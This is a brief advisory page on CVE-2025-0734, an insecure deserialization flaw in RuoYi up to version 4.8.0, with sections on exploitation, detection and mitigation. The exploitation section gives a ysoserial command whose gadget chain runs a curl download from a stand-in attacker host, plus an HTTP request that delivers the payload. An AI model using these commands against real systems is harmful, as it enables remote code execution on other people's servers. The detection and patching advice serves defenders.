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How CVE-2025-0734 Works
This critical vulnerability in RuoYi (≤4.8.0) stems from insecure deserialization in the `getBeanName` function of the `Whitelist` component. Attackers can remotely exploit this by sending crafted serialized objects, leading to arbitrary code execution. The flaw occurs due to insufficient validation of user-supplied data during deserialization, allowing malicious payloads to bypass whitelist restrictions. The CVSS 4.0 vector (AV:N/AC:L/PR:H/UI:N) confirms network-based exploitation with low attack complexity.
DailyCVE Form
Platform: RuoYi
Version: ≤4.8.0
Vulnerability: Insecure Deserialization
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
- Payload Generation: Use `ysoserial` to craft a gadget chain:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://attacker.com/shell.sh" > payload.bin
- Trigger via HTTP: Send the payload to vulnerable endpoints:
POST /api/whitelist/getBeanName HTTP/1.1 Host: target.com Content-Type: application/java-serialized-object <payload.bin>
Detection
- Log Analysis: Check for Java stack traces containing:
java.io.InvalidClassException: Whitelist
2. Network Monitoring: Flag anomalous Java serialization traffic:
tcpdump -i eth0 'tcp port 8080 and (ip[20:4] = 0xaced0005)'
Mitigation
1. Patch: Upgrade to RuoYi >4.8.0.
2. Input Validation: Implement strict whitelisting:
if (!allowedClasses.contains(className)) {
throw new SecurityException("Invalid class");
}
3. JEP 290: Enable serialization filters:
-Djdk.serialFilter=!
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
